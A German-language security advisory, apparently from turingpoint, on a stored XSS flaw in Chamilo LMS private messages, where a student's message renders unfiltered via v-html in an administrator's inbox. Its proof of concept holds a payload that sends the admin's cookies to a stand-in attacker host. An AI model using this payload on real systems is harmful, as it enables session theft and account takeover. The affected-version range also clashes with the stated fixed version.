Chamilo LMS: Stored XSS in privaten Nachrichten über `v-html`
Ein authentifizierter Student kann in einer privaten Nachricht ein JavaScript-Payload hinterlegen, das beim Öffnen des Posteingangs im Browser eines Administrators ausgeführt wird, dessen Sitzung übernimmt und so zur vollständigen Account-Kompromittierung führt.
Advisory-ID: TP-2026-008
Produkt: Chamilo LMS (weit verbreitetes Open-Source-Lernmanagementsystem)
Schwachstellentyp: Stored Cross-Site-Scripting (CWE-79)
CVE: CVE-2026-45143
CVSS 3.1: 9.0 (Kritisch) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Betroffene Versionen: ≥ 2.0.0, < 2.1.0
Behoben in: 2.0.1
Hersteller-Advisory: GHSA-x88v-rg6r-vqq6
Gemeldet: 23. April 2026
Zusammenfassung
Chamilo ist ein weit verbreitetes Open-Source-Lernmanagementsystem. Der Inhalt privater Nachrichten wird ohne serverseitige Bereinigung gespeichert und anschließend über die v-html-Direktive von Vue ungefiltert in den DOM geschrieben. Jeder authentifizierte Nutzer mit der Rolle Student kann einer Administratorin eine Nachricht mit HTML- bzw. JavaScript-Payload senden; sobald diese ihren Posteingang öffnet, wird das Skript in ihrer Sitzung ausgeführt. Es benötigt keine weitere Interaktion über das routinemäßige Lesen der Nachricht hinaus und ermöglicht das Stehlen der Sitzung sowie die Übernahme des Administrator-Accounts. turingpoint hat den End-to-End-Ablauf als stored XSS mit Privilegieneskalation vom Studenten zum Administrator verifiziert und verantwortungsvoll an den Hersteller gemeldet.
Ursache
Der Nachrichtentext wird beim Speichern nicht serverseitig bereinigt: src/CoreBundle/State/MessageProcessor.php persistiert den vom Nutzer übermittelten Inhalt unverändert. Bei der Anzeige rendert die Vue-Komponente assets/vue/views/message/MessageShow.vue den Wert über v-html="item.content", wodurch beliebiges HTML inklusive <script>- bzw. Event-Handler-Payloads direkt in den DOM gelangt und ausgeführt wird. Der gleiche Pfad existiert im Legacy-Template public/main/template/default/message/view_message.html.twig, das den Inhalt innerhalb eines {% autoescape false %}-Blocks ausgibt und das automatische Escaping von Twig deaktiviert. Da das Senden privater Nachrichten an Administratoren für Studenten regulär erlaubt ist und der Empfänger den Inhalt beim Öffnen seines Posteingangs zwangsläufig rendert, genügt eine einzige Nachricht, um das Payload in einer höher privilegierten Sitzung zur Ausführung zu bringen.
Proof of Concept
Schematisch: Ein Student sendet eine private Nachricht mit einem Event-Handler-Payload an einen Administrator. Beim Öffnen des Posteingangs rendert MessageShow.vue den Inhalt über v-html, und das Skript läuft in der Sitzung des Administrators:
// Authentifizierter Student sendet eine private Nachricht an einen Administrator.
// Der Inhalt wird ohne serverseitige Bereinigung gespeichert und später
// über v-html="item.content" gerendert (MessageShow.vue).
POST /api/messages
Content-Type: application/json
{
"title": "Frage zum Kurs",
"content": "<img src=x onerror=\"fetch('https://attacker.example/c?c='+document.cookie)\">",
"receivers": [{ "receiver": "/api/users/1" }]
}
// Sobald der Administrator die Nachricht im Posteingang öffnet,
// wird das Payload in dessen Sitzung ausgeführt.
Weil der Inhalt weder beim Speichern noch bei der Ausgabe bereinigt wird, gelangt das Payload unverändert in den DOM und exfiltriert die Sitzungsdaten an den Angreifer.
Auswirkung
- Ein Nutzer mit der niedrig privilegierten Rolle Student kann ein Payload an einen Administrator ausliefern, das in dessen Sitzung ausgeführt wird.
- Über das gestohlene Sitzungstoken bzw. die Cookies kann der Angreifer authentifizierte Aktionen im Namen des Administrators ausführen.
- Das Payload läuft im Origin von Chamilo und benötigt keine weitere Interaktion über das routinemäßige Öffnen des Posteingangs hinaus (kein Phishing erforderlich).
- Im Ergebnis eskaliert ein Student zum Administrator, was die vollständige Kompromittierung der Plattform ermöglicht.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
